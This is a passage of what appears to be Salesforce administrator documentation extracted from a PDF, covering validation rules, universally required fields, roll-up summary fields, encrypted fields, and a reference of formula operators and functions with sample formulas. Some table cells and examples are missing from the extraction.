Validation rules can't refer to compound fields. Examples of compound fields include addresses, first and last names,
dependent picklists, and dependent lookups.
Validation formulas can't reference campaign statistic fields, including statistics for individual campaigns and campaign
hierarchies. For a list of fields that can't be used in validation formulas, see Campaign Fields on page 2854.
When one validation rule fails, Salesforce continues to check any additional validation rules on that field or any other field
on the page and displays all appropriate error messages at once.
The detail page of a custom activity field doesn't list associated validation rules.
If validation rules exist for activities and you create an activity during lead conversion, the lead converts but a task isn't
created.
Validation rules are only enforced during lead conversion if validation and triggers for lead conversion are enabled in your
organization.
Campaign hierarchies ignore validation rules.
Salesforce runs validation rules before creating records submitted via Web-to-Lead and Web-to-Case, and only creates
records that have valid values.
The Data Loader and the Force.com API version 7 and later run validation rules.
Salesforce runs validation rules on records before they are imported. Records that fail validation aren't imported. Consider
deactivating the appropriate validation rules before running an import if they affect the records you are importing.
Because updates to records based on workflow rules don't trigger validation rules, workflow rules can invalidate previously
valid fields.
When defining validation rules, you can set the error location to Top of Page or Field. If the error location is set to a
field that is later deleted or a field that is read only or not visible on the page layout, Salesforce automatically changes the
error location to Top of Page.
An Invalid Formula error displays if your formula has a run-time error such as division by zero.
You can't create validation rules for relationship group members.
If a lookup field references a record that has been deleted, Salesforce clears the value of the lookup field by default.
Alternatively, you can choose to prevent records from being deleted if theyre in a lookup relationship. For more information
on how to set up lookup relationships, see Overview of Relationships on page 1740.
1193
Customize
When a validation rule contains the BEGINS or CONTAINS functions, it processes blank fields as valid. For example,
if you have a validation rule that tests to see if the serial number of an asset begins with 3, all assets that have a blank
serial number are considered valid.
Some merge fields display as radio buttons but function like picklist fields when referenced in a formula. Use the values
Read, Edit, and None when referencing the following merge fields in a formula.
$UserRole.CaseAccessForAccountOwner
$UserRole.OpportunityAccessForAccountOwner
CaseAccessLevel (on Territory)
OpportunityAccessLevel (on Territory)
Use the values Read, Edit, and All when referencing the following merge fields in a formula:
AccountAccessLevel (on Territory)
Because roll-up summary fields aren't displayed on edit pages, you can use them in your validation rule but not as the error
location.
Validation rules don't run on multiple records updated after a change owner or mass transfer. However, changing an owner
of a single record does run validation rules.
Tip: Salesforce processes any rules in the following order:
1.
2.
3.
4.
5.
Validation rules
Assignment rules
Auto-response rules
Workflow rules (with immediate actions)
Escalation rules
You want to improve user efficiency by limiting the number of available options in a lookup search dialog.
You want to improve user efficiency by automating filters on lookup search dialogs that your users manually set.
Best Practices
When creating validation rules, consider all the settings in your organization that can make a record fail validation such
as assignment rules, field updates, field-level security, or fields hidden on a page layout.
Be careful not to create two contradicting validation rules for the same field; otherwise, users won't be able to save the
record.
A poorly designed validation rule can prevent users from saving valid data. Make sure you thoroughly test a validation rule
before activating it. Users will never be able to save a record if your formula always returns a True value.
Because validation rules run on the Self-Service portal, make sure your validation rules don't prevent Self-Service users
from creating cases.
Write helpful error messages:
1194
Customize
Consider what fields are visible and editable for users on their page layouts due to field-level security. Fields that aren't
visible or editable for the user are still available in the formula for a validation rule and can cause a validation error. If the
error message is designed to display next to a hidden field, it will display at the top of the page.
For such fields, consider adding a default value to automatically populate the field with a valid value since users won't be
able to edit the field to correct any validation errors. See Defining Default Field Values on page 1155.
Use the record type ID merge field in your formula to apply different validation for different record types. For information
about merge fields, see Merge Fields Overview on page 460.
If person accounts are enabled for your organization:
To define a validation rule that applies only to person accounts, use the IsPersonAccount merge field.
You must handle person account names and business account names separately in account validation rules. For business
accounts, use the Name merge field. For person accounts, use the FirstName and LastName merge fields.
Birthdate, Email, and other fields that are only supported for person accounts are available as merge fields in account
validation rules. When you use one of those merge fields, note that business account records will be processed as if
those fields have blank values.
When using a validation rule to ensure that a number field contains a specific value, use the ISNULL function to include
fields that do not contain any value. For example, to validate that a custom field contains a value of '1,' use the following
validation rule to display an error if the field is blank or any other number:
OR(ISNULL(field__c), field__c<>1)
Simplify your validation formulas by using checkbox fields, which don't require any operator because they return true or
false. For example, the following validation formula checks to be sure an opportunity has opportunity products using the
HasOpportunityLineItem merge field before users can save a change to it:
NOT(OR(ISNEW(),HasOpportunityLineItem))
When referencing related fields in your validation formula, make sure those objects are deployed.
Check the Debug Log to monitor details of the start and completion of each validation rule evaluated.
1195
Customize
You can still validate the values of encrypted fields using validation rules or Apex. Both work regardless of whether the
user has the View Encrypted Data permission. Data for encrypted fields in the debug log is masked.
See Also:
About Validation Rules
Defining Validation Rules
Examples of Validation Rules
A universally required field is a custom field that must have a value whenever a record is saved within Salesforce, the Force.com
API, Connect Offline, Connect for Lotus Notes, Connect for Outlook, Salesforce for Outlook, the Self-Service portal, or
automated processes such as Web-to-Lead and Web-to-Case. Making a field required on a page layout or through field-level
security ensures users must enter a value, but making a field required universally gives you a higher level of data quality beyond
the presentation level of page layouts.
You can make the following types of custom fields universally required:
Currency
Date
Date/Time
Email
Master-Detail Relationship (always required)
Number
Percent
Phone
Text
Text Area
URL
To make a custom field universally required, select the Required checkbox when defining the custom field.
Note: You must specify a default value for required campaign member custom fields.
If you make a user field universally required, you must specify a default value for that field. See Defining Default Field
Values on page 1155.
1196
Customize
Relationship group members do not support universally required fields. For more information on the behaviors of relationship
group members, see Relationship Group Considerations on page 2679.
See Also:
Considerations for Universally Required Fields
About Custom Fields
A universally required field is a custom field that must have a value whenever a record is saved within Salesforce, the Force.com
API, Connect Offline, Connect for Lotus Notes, Connect for Outlook, Salesforce for Outlook, the Self-Service portal, or
automated processes such as Web-to-Lead and Web-to-Case. Review the following considerations before making your custom
fields universally required.
Standard fields cannot be universally required. For a list of the types of custom fields that you can make universally required,
see About Universally Required Fields on page 1196.
Universally required fields are required across all record types.
Edit pages always display universally required fields, regardless of field-level security.
When designing your page layouts, universally required fields:
Universally required fields are only enforced during lead conversion if validation and triggers for lead conversion are enabled
in your organization.
Quick Create does not enforce universally required fields.
If you make an activity custom field universally required, you must also provide a default value.
You must include universally required fields in your import files or the import will fail. For more information, see About
Universally Required Fields on page 1196.
Default values should not be assigned to fields that are both required and unique, as uniqueness errors may result.
You cannot make a field universally required if it is used by a field update that sets the field to a blank value. For details,
see Defining Field Updates on page 1797.
1197
Customize
Required fields may be blank on records that existed before making the field required. When a user updates a record with
a blank required field, the user must enter a value in the required field before saving the record.
See Also:
About Universally Required Fields
About Custom Fields
While your formula fields calculate values using fields within a single record, roll-up summary fields calculate values from a
set of related records, such as those in a related list. You can create roll-up summary fields that automatically display a value
on a master record based on the values of records in a detail record. These detail records must be directly related to the master
through a master-detail relationship. For example, a custom account field called Total Invoice Amount displays the sum
of invoice amounts for all related invoice custom object records in the Invoices related list on an account.
You can perform different types of calculations with your roll-up summary fields. You can count the number of detail records
related to a master record, or calculate the sum, minimum value, or maximum value of a field in the detail records.
Before you begin creating roll-up summary fields for your organization, review the implementation tips and best practices.
Implementation Tips
Administration
The types of fields you can calculate in a roll-up summary field depend on the type of calculation. For example,
Number, currency, and percent fields are available when you select SUM as the roll-up type.
Number, currency, percent, date, and date/time fields are available when you select MIN or MAX as the roll-up type.
You may not be able to change the field type of a field that you reference in a roll-up summary field.
For the maximum number of roll-up summary fields allowed in your organization, see Salesforce Editions and Limits on
page 2076.
Make sure that the filter for your roll-up summary does not encounter a formula field that results in #Error!. If your filter
criteria uses a formula field that results in an error, no matches are returned for that filter criterion. For example, if your
1198
Customize
roll-up summary filter is Formula Field equals 10 and two records contain errors while one contains the value 10 in
that field, your summary only includes the record with the value 10.
Salesforce does not recalculate the value of campaign roll-up summary fields when leads or contacts are deleted. Select the
Force a mass recalculation on this field option on the edit page of a campaign roll-up summary field to
manually recalculate the value.
Long text area, multi-select picklist, Description, system fields like Last Activity, cross-object formula fields, and
lookup fields (such as the Product Code field) cannot be used in the field column of roll-up summary filters.
Auto number fields are not available as the field to aggregate in a roll-up summary field.
After you have created a roll-up summary field on an object, you cannot convert the object's master-detail relationship into
a lookup relationship.
Roll-up summary fields are not available for mapping lead fields of converted leads.
Management
Roll-up summary fields cannot calculate the values of other roll-up summary fields except for account to opportunity roll-up
summary fields, which allow you to calculate the values of opportunity roll-up summary fields.
Roll-up summary fields can calculate the values of formula fields if they do not contain cross-object field references or
functions that automatically derive values on the fly, such as NOW or TODAY.
Note: The value of a formula field can result in #Error!, which affects the summarized total. If your roll-up
summary type is COUNT, records are included regardless of whether they contain a formula field with an error,
but when the Field to Aggregate is a formula field that results in #Error!, calculations of type MIN, MAX,
and SUM exclude those formula values.
Changes to the value of a roll-up summary field can trigger assignment rules to run. If a roll-up summary field is part of
the criteria in an assignment rule, the field's new value is used to evaluate if the record should be reassigned.
Roll-up summary fields can trigger workflow rules and field validations. However, workflow rules and field validations do
not fire when the following changes cause a mass recalculation of roll-up summary values:
Changing the roll-up summary definition (such as the object, function, or field being aggregated)
Changing the expression of a formula field referenced in a roll-up summary field
Replacing picklist values for picklist fields referenced in the roll-up summary filter
Changing picklist record type definitions
Changing currency conversion rates
Changing price book entries
Calculating roll-up summary field values may take up to 30 minutes, depending on the number of records affected and
other factors.
You are not prevented from creating roll-up summary fields that might result in invalid values, such as February 29th in
a non-leap year. If an existing roll-up summary field results in an invalid value, the value is not recalculated , and the field
will continue to display with an invalid roll-up summary icon ( ) until you change the values being summarized.
If your organization uses multiple currencies, the currency of the master record determines the currency of the roll-up
summary field. For example, if the master and detail records are in different currencies, the values in the detail record are
converted into the currency of the master record before calculating the final value and displaying it in the same currency
as the master record.
If your organization has advanced currency management enabled, currency roll-up summary fields are invalid if they are
on accounts and summarizing opportunity values, or on opportunities and summarizing custom object values.
Salesforce will prevent users from saving a record when doing so would invalidate a related record. For example, if the
related master record has a validation rule that requires the roll-up summary field value to be greater than 100, and the
user's change to the child record will put the value over 100, the user will not be able to save the record.
If a lookup field references a record that has been deleted, Salesforce clears the value of the lookup field by default.
Alternatively, you can choose to prevent records from being deleted if theyre in a lookup relationship.
1199
Customize
Best Practices
Apply field-level security to your roll-up summary fields if they calculate values that you do not want visible to users. Fields
that your users cannot see due to field-level security settings on the detail record are still calculated in a roll-up summary
field.
If you have validation rules, consider how they affect roll-up summary fields. A validation error can display when saving
either the detail or master record because the value in a roll-up summary field changes when the values in the detail records
change.
Because roll-up summary fields are not displayed on edit pages, you can use them in validation rules but not as the error
location for your validation.
Avoid referencing a roll-up summary field from a child record. The roll-up summary field will have the previous value
because the parent record has not been updated. If you reference a roll-up summary field from a parent record, the roll-up
summary field will always have the new value because that rule runs after the parent value has been updated.
If you are trying to enforce a record limit of 25 on the parent roll-up summary field, when you add a new child record,
your validation rule on the child object needs to check if the count is already 25 or greater.
AND(ISNEW(), Sample.Line_Count__c >= 25)
Plan your implementation of roll-up summary fields carefully before creating them. Once created, you cannot change the
detail object selected or delete any field referenced in your roll-up summary definition.
Roll-up summary fields are affected by advanced currency management. If your organization enables advanced currency
management, delete any currency roll-up summary fields on accounts that summarize opportunity values or on opportunities
that summarize custom object values. Otherwise, the fields continue to display with an invalid roll-up summary icon because
their values are no longer caluculated.
Automatically derived fields such as current date or current user are not allowed in roll-up summary fields. This includes
formula fields containing functions that automatically derive values on the fly, such as NOW and TODAY. Formula fields
that include related object merge fields are also not allowed in roll-up summary fields.
See Also:
Creating Custom Fields
Defining Roll-Up Summaries
Customize Application
Define roll-up summary fields on the object that is on the master side of a master-detail relationship. If a relationship does
not already exist, first create a master-detail relationship between the master object that displays the value and the detail object
1200
Customize
containing the records you are summarizing.For a list of the standard master-detail relationships where roll-up summary fields
are available, see About Roll-Up Summary Fields on page 1198.
To define a roll-up summary field:
1. Create a custom field on the object where you want the field displayed. Summary fields summarize the values from records
on a related object, so the object on which you create the field should be on the master side of a master-detail relationship.
For instructions on creating a custom field, see Creating Custom Fields on page 1075.
2. Choose the Roll-Up Summary field type, and click Next.
3. Enter a field label and any other attributes. Click Next. For information on the attributes you can set, see Custom Field
Attributes on page 1081.
4. Select the object on the detail side of a master-detail relationship. This object contains the records you want to summarize.
5. Select the type of summary:
Type
Description
COUNT
SUM
Totals the values in the field you select in the Field to Aggregate option. Only number, currency,
and percent fields are available.
MIN
Displays the lowest value of the field you select in the Field to Aggregate option for all
directly-related records. Only number, currency, percent, date, and date/time fields are available.
MAX
Displays the highest value of the field you select in the Field to Aggregate option for all
directly-related records. Only number, currency, percent, date, and date/time fields are available.
6. Enter your filter criteria if you want a selected group of records in your summary calculation. If your organization uses
multiple languages, enter filter values in your organization's default language. For more information on using filter criteria,
see Entering Filter Criteria on page 2961.
7. Click Next.
8. Set the field-level security to determine whether the field should be visible for specific profiles, and click Next.
9. Choose the page layouts that should display the field. The field is added as the last field in the first two-column section
on the page layout. For user custom fields, the field is automatically added to the bottom of the user detail page.
10. Click Save to finish or Save & New to create more custom fields.
See Also:
About Roll-Up Summary Fields
Encrypted custom fields are text fields that can contain letters, numbers, or symbols but are encrypted. The value of an encrypted
field is only visible to users that have the View Encrypted Data permission.
1201
Customize
Before you begin working with encrypted custom fields, review the following implementation notes and best practices:
Implementation Notes
Encrypted fields are encrypted with 128-bit master keys and use the AES (Advanced Encryption Standard) algorithm.
You can archive, delete, and import your master encryption key. To enable master encryption key management, contact
salesforce.com. See also Managing Master Encryption Keys on page 720.
Encrypted custom fields cannot be unique, an external ID, or have default values.
While other text fields can contain up to 255 characters, encrypted text fields are limited to 175 characters due to the
encryption algorithm.
Encrypted fields are not available for use in filters such as list views, reports, roll-up summary fields, and rule filters.
Encrypted fields cannot be used to define report criteria but they can be included in report results.
Encrypted fields are not searchable but they can be included in search results.
Encrypted fields are not available in the following: Salesforce Mobile, Connect Offline, Connect for Lotus Notes, Connect
for Outlook, Salesforce for Outlook, lead conversion, workflow rule criteria or formulas, formula fields, outbound messages,
default values, and Web-to-Lead and Web-to-Case forms.
You can use encrypted fields in email templates yet the value is always masked regardless of whether you have the View
Encrypted Data permission.
If you have created encrypted custom fields, make sure your organization has secure connections using SSL (Secure Sockets
Layer) enabled. To enable this setting for your organization, see Setting Session Security on page 668.
If you have the View Encrypted Data permission and you grant login access to another user, be aware that the other user
will be able to see encrypted fields unmasked (in plain text).
Only users with the View Encrypted Data permission can clone the value of an encrypted field when cloning that record.
Only the <apex:outputField> component supports presenting encrypted fields in Visualforce pages.
Best Practices
Encrypted fields are editable regardless of whether the user has the View Encrypted Data permission. Use validation
rules, field-level security settings, or page layout settings to prevent users from editing encrypted fields.
You can still validate the values of encrypted fields using validation rules or Apex. Both work regardless of whether the
user has the View Encrypted Data permission. Data for encrypted fields in the debug log is masked.
Existing custom fields cannot be converted into encrypted fields nor can encrypted fields be converted into another data
type. To encrypt the values of an existing (unencrypted) field, export the data, create an encrypted custom field to store
that data, and import that data into the new encrypted field.
Mask Type is not an input mask that ensures the data matches the Mask Type. Use validation rules to ensure that the
data entered matches the mask type selected.
Use encrypted custom fields only when government regulations require it because they involve additional processing and
have search-related limitations.
See Also:
Creating Custom Fields
Custom Field Attributes
1202
Customize
Math Operators
Operator
Description
()
Specifies that the expressions within the open parenthesis and close parenthesis are evaluated
first. All other expressions are evaluated using standard operator precedence.
Logical Operators
Operator
Description
= and ==
<> and !=
<
Evaluates if a value is less than the value that follows this symbol.
>
Evaluates if a value is greater than the value that follows this symbol.
<=
Evaluates if a value is less than or equal to the value that follows this symbol.
>=
Evaluates if a value is greater than or equal to the value that follows this symbol.
&&
Evaluates if two values or expressions are both true. Use this operator as an alternative to the
logical function AND.
||
Evaluates if at least one of multiple values or expressions is true. Use this operator as an alternative
to the logical function OR.
Text Operators
Operator
Description
&
1203
Customize
Description
DATE
Returns a date value from year, month, and day values you enter. Salesforce displays an error on
the detail page if the value of the DATE function in a formula field is an invalid date, such as
February 29 in a non-leap year.
DATEVALUE
DATETIMEVALUE
DAY
Returns a day of the month in the form of a number between 1 and 31.
MONTH
Returns the month, a number between 1 (January) and 12 (December) in number format of a
given date.
NOW
TODAY
YEAR
Informational Functions
Function
Description
BLANKVALUE
Determines if an expression has a value and returns a substitute expression if it does not. If the
expression has a value, returns the value of the expression.
ISBLANK
Determines if an expression has a value and returns TRUE if it does not. If it contains a value,
this function returns FALSE.
ISNULL
Determines if an expression is null (blank) and returns TRUE if it is. If it contains a value, this
function returns FALSE.
NULLVALUE
Determines if an expression is null (blank) and returns a substitute expression if it is. If the
expression is not blank, returns the value of the expression.
PRIORVALUE
Logical Functions
Function
Description
AND
Returns a TRUE response if all values are true; returns a FALSE response if one or more values
are false.
CASE
Checks a given expression against a series of values. If the expression is equal to a value, returns
the corresponding result. If it is not equal to any values, it returns the else_result.
IF
Determines if expressions are true or false. Returns a given value if true and another value if false.
ISCHANGED
Compares the value of a field to the previous value and returns TRUE if the values are different.
If the values are the same, this function returns FALSE.
ISNEW
Checks if the formula is running during the creation of a new record and returns TRUE if it is.
If an existing record is being updated, this function returns FALSE.
1204
Customize
Function
Description
ISNUMBER
Determines if a text value is a number and returns TRUE if it is. Otherwise, it returns FALSE.
NOT
OR
Determines if expressions are true or false. Returns TRUE if any expression is true. Returns
FALSE if all expressions are false.
Math Functions
Function
Description
ABS
Calculates the absolute value of a number. The absolute value of a number is the number without
its positive or negative sign.
CEILING
EXP
FLOOR
LN
Returns the natural logarithm of a specified number. Natural logarithms are based on the constant
e value of 2.71828182845904.
LOG
MAX
MIN
MOD
ROUND
Returns the nearest number to a number you specify, constraining the new number by a specified
number of digits.
SQRT
Text Functions
Function
Description
BEGINS
Determines if text begins with specific characters and returns TRUE if it does. Returns FALSE
if it does not.
BR
CASESAFEID
CONTAINS
Compares two arguments of text and returns TRUE if the first argument contains the second
argument. If not, returns FALSE.
FIND
GETSESSIONID
HYPERLINK
Creates a link to a URL specified that is linkable from the text specified.
IMAGE
INCLUDES
Determines if any value selected in a multi-select picklist field equals a text literal you specify.
1205
Customize
Function
Description
ISPICKVAL
Determines if the value of a picklist field is equal to a text literal you specify.
LEFT
Returns the specified number of characters from the beginning of a text string.
LEN
LOWER
Converts all letters in the specified text string to lowercase. Any characters that are not letters
are unaffected by this function. Locale rules are applied if a locale is provided.
LPAD
MID
Returns the specified number of characters from the middle of a text string given the starting
position.
RIGHT
Returns the specified number of characters from the end of a text string.
RPAD
SUBSTITUTE
TEXT
Converts a percent, number, date, date/time, or currency type field into text anywhere formulas
are used. Also, converts picklist values to text in validation rules, formula fields, and field updates.
TRIM
Removes the spaces and tabs from the beginning and end of a text string.
UPPER
Converts all letters in the specified text string to uppercase. Any characters that are not letters
are unaffected by this function. Locale rules are applied if a locale is provided.
VALUE
Summary Functions
The following functions are available with summary, matrix, and joined reports.
Function
Description
PARENTGROUPVAL This function returns the value of a specified parent grouping. A parent grouping is any level
above the one containing the formula. You can only use this function in custom summary formulas
for reports.
PREVGROUPVAL
This function returns the value of a specified previous grouping. A previous grouping is one
that comes before the current grouping in the report. Choose the grouping level and increment.
The increment is the number of columns or rows before the current summary. The default is 1;
the maximum is 12. You can only use this function in custom summary formulas for reports.
Advanced Functions
Function
Description
GETRECORDIDS
Returns an array of strings in the form of record IDs for the selected records in a list, such as a
list view or related list.
INCLUDE
Returns content from an s-control snippet. Use this function to reuse common code in many
s-controls.
LINKTO
Returns a relative URL in the form of a link (href and anchor tags) for a custom s-control or
Salesforce page.
1206
Customize
Function
Description
REGEX
Compares a text field to a regular expression and returns TRUE if there is a match. Otherwise,
it returns FALSE. A regular expression is a string used to describe a format of a string according
to certain syntax rules.
REQUIRESCRIPT
Returns a script tag with source for a URL you specify. Use this function when referencing the
Force.com AJAX Toolkit or other JavaScript toolkits.
URLFOR
Returns a relative URL for an action, s-control, Visualforce page, or a file in a static resource
archive in a Visualforce page.
VLOOKUP
Returns a value by looking up a related value on a custom object similar to the VLOOKUP()
Excel function.
Encoding Functions
Function
Description
HTMLENCODE
Encodes text and merge field values for use in HTML by replacing characters that are reserved
in HTML, such as the greater-than sign (>), with HTML entity equivalents, such as >.
JSENCODE
Encodes text and merge field values for use in JavaScript by inserting escape characters, such as
a backslash (\), before unsafe JavaScript characters, such as the apostrophe (').
JSINHTMLENCODE
Encodes text and merge field values for use in JavaScript within HTML tags by inserting escape
characters before unsafe JavaScript characters and replacing characters that are reserved in HTML
with HTML entity equivalents.
URLENCODE
Encodes text and merge field values for use in URLs by replacing characters that are illegal in
URLs, such as blank spaces, with the code that represent those characters as defined in RFC
3986, Uniform Resource Identifier (URI): Generic Syntax. For example, blank spaces are replaced
with %20, and exclamation points are replaced with %21.
+ (Add)
Description:
Use:
value1 + value2 and replace each value with merge fields, expressions, or other numeric
values.
Formula Field Example:
This formula calculates the sum of the product Amount, maintenance amount, and services
fees. Note that Maint amount and Service Fees are custom currency fields.
Report Example:
You may have a custom object that allows users to track the total number of hours worked
in a week. Use the following example to ensure that users cannot save a time card record with
more than 40 hours in a work week.
Monday_Hours__c +
Tuesday_Hours__c +
1207
Customize
Wednesday_Hours__c +
Thursday_Hours__c +
Friday_Hours__c > 40
Use a formula like this one in a validation rule to display the following error message when
the total number of hours entered for each work day is greater than 40: Your total hours
cannot exceed 40. This example requires five custom fields on your custom object, one for
each day of work.
- (Subtract)
Description:
Use:
value1 - value2 and replace each value with merge fields, expressions, or other numeric
values.
Example:
Amount - Discount_Amount__c
This formula calculates the difference of the product Amount less the Discount Amount.
Note that Discount Amount is a custom currency field.
Report Example:
This formula is a currency data type that returns a currency sign and decimal places.
* (Multiply)
Description:
Use:
value1 * value2 and replace each value with merge fields, expressions, or other numeric
values.
Example:
Consulting_Days__c * 1200
This formula calculates the number of consulting days times 1200 given that this formula
field is a currency data type and consulting charges a rate of $1200 per day. Note that
Consulting Days is a custom field.
Report Example:
RowCount * AGE:AVG calculates the record count times the average age value of your
report. This formula is a number data type that returns a positive or negative integer or
decimal.
/ (Divide)
Description:
Use:
value1 / value2 and replace each value with merge fields, expressions, or other numeric
values.
1208
Customize
Example:
AnnualRevenue/ NumberOfEmployees
This formula calculates the revenue amount per employee using a currency field.
IF(NumberOfOpportunities > 0,
NumberOfWonOpportunities / NumberOfOpportunities, null)
% Won Opportunities
WON:SUM / RowCount calculates the percent of Won opportunities using a record count
representing the number of all opportunities in your report. This formula is a number data
type that returns a positive or negative integer.
% Difference between Cost and Sales Price
(TOTAL_PRICE:SUM - QUANTITY:SUM * Product2.Cost__c:SUM) /
(QUANTITY:SUM * Product2.Cost__c:SUM) calculates the average percent difference
between what a product costs and its selling price on a product-by-product level. Note that
Product2.Cost__c:SUM is a custom currency field named Cost on products, which
includes the cost of each product. This formula is a percent data type that returns a positive
or negative integer. For best results, use this on a summary Opportunities with Products
report that is summarized by Product Name and includes summary totals for Quantity,
Total Price, and Cost.
^ (Exponentiation)
Description:
Use:
number^integer and replace number with a merge field, expression, or another numeric
value; replace integer with a merge field that contains an integer, expression, or any integer.
Example:
Report Example:
ACTIVE:SUM ^ 2 calculates the number of active Salesforce users to the 2nd power for
administration. This formula is a number data type that returns a positive integer.
Tips:
Specifies that the expressions within the open parenthesis and close parenthesis are evaluated
first. All other expressions are evaluated using standard operator precedence.
Use:
between the old value and new valuedivided by the new value.
Report Example:
the record count per 24 hours. This formula is a percent data type that returns a positive or
negative integer or decimal, representing what percent of a day is spent on events.
1209
Customize
= and == (Equal)
Description:
Use:
Example:
Due Date
Due Date = CreatedDate + 5 assigns a due date that is five days past the create date.
Commission Amount
IF(Probability =1, ROUND(Amount*0.02, 2), 0)
This formula calculates the 2% commission amount of an opportunity that has a probability
of 100%. All other opportunities will have a commission value of 0.
Possible results:
An opportunity with a Probability of 90% will have a commission of 0.
An opportunity with a Probability of 100% and an Amount of $100,000 will have a
commission of $2,000.
Use:
Example:
IF(Maint_Amount__c + Services_Amount__c<> Amount,
"DISCOUNTED", "FULL PRICE")
This formula displays DISCOUNTED on product if its maintenance amount and services
amount do not equal the product amount. Otherwise, displays FULL PRICE. Note that
this example uses two custom currency fields for Maint Amount and Services Amount.
Evaluates if a value is less than the value that follows this symbol.
Use:
value1 < value2 and replace each value with merge fields, expressions, or other numeric
values.
Example:
IF(AnnualRevenue < 1000000, 1, 2) assigns the value 1 with revenues less than
one million and the value 2 to revenues greater than one million.
Evaluates if a value is greater than the value that follows this symbol.
1210
Customize
Use:
value1 > value2 and replace each value with merge fields, expressions, or other numeric
values.
Example:
High Net Worth value to a commission greater than one million. Note, this is a text formula
field that uses a commission custom field.
Evaluates if a value is less than or equal to the value that follows this symbol.
Use:
value1 <= value2 and replace each value with merge fields, expressions, or other numeric
values.
Example:
IF(AnnualRevenue <= 1000000, 1, 2) assigns the value 1 with revenues less than
or equal to one million and the value 2 with revenues greater than one million.
Evaluates if a value is greater than or equal to the value that follows this symbol.
Use:
value1 >= value2 and replace each value with merge fields, expressions, or other numeric
values.
Example:
IF(Commission__c >= 1000000, "YES", "NO") assigns the YES value with a
commission greater than or equal to one million. Note, this is a text formula field that uses
a custom currency field called Commission.
&& (AND)
Description:
Evaluates if two values or expressions are both true. Use this operator as an alternative to the
logical function AND.
Use:
(logical1) && (logical2) and replace logical1 and logical2 with the values or
This formula displays Small if the price is less than 100 and quantity is less than five.
Otherwise, this field is blank.
|| (OR)
Description:
Evaluates if at least one of multiple values or expressions is true. Use this operator as an
alternative to the logical function OR.
Use:
(logical1) || (logical2) and replace any number of logical references with the values
1211
Customize
Example:
This formula returns the number of days a case has been open if the Status is new or the
Priority is high. If the case was opened today, this field displays a zero.
Validation Rule Example:
(Discount_Rate__c < 0) || (Discount_Rate__c > 0.40)
This validation rule formula displays the following error message when the Discount Rate
custom field is not between 0 and 40%: "Discount Rate cannot exceed 40%."
& (Concatenate)
Description:
Use:
string1&string2 and replace each string with merge fields, expressions, or other values.
Example:
This formula displays the text Expense- followed by trip name and the expense number.
This is a text formula field that uses an expense number custom field.
ABS
Description:
Calculates the absolute value of a number. The absolute value of a number is the number
without its positive or negative sign.
Use:
ABS(number) and replace number with a merge field, expression, or other numeric value
AND
Description:
Returns a TRUE response if all values are true; returns a FALSE response if one or more
values are false. Use this function as an alternative to the operator && (AND).
Use:
IF(AND(Price<1,Quantity<1),"Small", null)
This formula displays Small if the price and quantity are less than one. This field is blank
if the asset has a price or quantity greater than one.
BEGINS
Description:
Determines if text begins with specific characters and returns TRUE if it does. Returns
FALSE if it does not.
1212
Customize
Use:
This example returns the text Medical if the text in any Product Type custom text field
begins with ICU. For all other products, it displays Technical.
Tips:
This function is case sensitive so be sure your compare_text value has the correct
capitalization.
When using this function in a validation rule or workflow rule, fields that are blank are
considered valid. For example, if you have a validation rule that tests to see if the serial
number of an asset begins with 3, all assets that have a blank serial number are considered
valid.
BLANKVALUE
Description:
Determines if an expression has a value and returns a substitute expression if it does not. If
the expression has a value, returns the value of the expression.
Use:
Example 1
BLANKVALUE(Department, Undesignated)
This formula returns the value of the Department field if the Department field contains
a value. If the Department field is empty, this formula returns the word Undesignated.
Example 2
(BLANKVALUE(Payment_Due_Date__c, StartDate +5)
This formula returns the date five days after the contract start date whenever Payment Due
Date is blank. Payment Due Date is a custom date field.
Tips:
BR
Description:
Use:
BR()
1213
Customize
Example:
CASE(ShippingCountry,
"USA",
ShippingStreet & BR() &
ShippingCity & ",
" & ShippingState & " " &
ShippingPostalCode & BR()
& ShippingCountry,
"France",
ShippingStreet & BR() &
ShippingPostalCode & " " &
ShippingCity & BR() &
ShippingCountry, "etc")
This formula field displays a formatted mailing address for a contact in standard format,
including spaces and line breaks where appropriate depending on the country.
Tips:
CASE
Description:
Checks a given expression against a series of values. If the expression is equal to a value,
returns the corresponding result. If it is not equal to any values, it returns the else_result.
Use:
Replace each value and result with the value that must be equivalent to return the result entry.
Replace else_result with the value you want returned when the expression does not equal
any values.
Formula Field Example:
1214
Customize
3, "March",
4, "April",
5, "May",
6, "June",
7, "July",
8, "August",
9, "September",
10, "October",
11, "November",
12, "December",
"None")
Discount Rate
Use the following default value formula to insert a different discount rate on an opportunity
based on the department of the person creating the opportunity:
CASE(User.Department, "IT", 0.25, "Field", 0.15, 0)
In this example, the formula inserts a discount rate of 25% on any opportunity created by a
user in the IT department or 15% on any opportunity created by someone in the Field
department. A zero is applied if the creator does not belong to either of these departments.
This is a custom percent field on opportunities that uses the standard user field Department.
Product Language
You may want to associate a product with its language so that your users know the type of
documentation or adapter to include. Use the following default value formula to automatically
set the language of a product based on the country of the user creating the product. In this
example, the default value is Japanese if the user's country is Japan and English if the
user's country is US. If neither is true, the default value unknown is inserted into the
Product Language field.
CASE($User.Country , "Japan", "Japanese", "US", "English","unknown")
Tips:
Be sure your value1, value2... expressions are the same data type.
Be sure your result1, result2... expressions are the same data type.
CASE functions cannot contain functions that return true or false. Instead, make true
or false expressions return numbers such as:
CASE(1, IF(ISPICKVAL (Term__c, "12"), 1, 0),
12 * Monthly_Commit__c,
IF(ISPICKVAL(Term__c, "24"), 1, 0),
24 * Monthly_Commit__c, 0)
In this formula, Term is a picklist field that is multiplied by the Monthly Commit
whenever it contains the value 1 for true.
1215
Customize
Task", "Maintain") displays Maintain if the Days Open field is blank, 0, or any
CASESAFEID
Description:
Use:
Example:
CASESAFEID (Id)
This formula replaces the 15-character ID with the 18-character, case-insensitive ID.
Tips:
CEILING
Description:
Use:
CEILING(number) and replace number with the field or expression you want rounded.
Example:
CONTAINS
Description:
Compares two arguments of text and returns TRUE if the first argument contains the second
argument. If not, returns FALSE.
Use:
CONTAINS(text, compare_text) and replace text with the text that contains the value
of compare_text.
1216
Customize
Example:
IF(CONTAINS(Product_Type__c, "part"), "Parts", "Service")
This formula checks the content of a custom text field named Product_Type and returns
Parts for any product with the word part in it. Otherwise, it returns Service. Note that
the values are case sensitive, so if a Product_Type field contains the text Part or PART,
this formula returns Services.
Tips:
This function is case sensitive so be sure your compare_text value has the correct
capitalization.
When using this function in a validation rule or workflow rule, fields that are blank are
considered valid. For example, if you have a validation rule that tests to see if the serial
number of an asset contains A, all assets that have a blank serial number are considered
valid.
The CONTAINS function does not support multi-select picklists. Use INCLUDES to
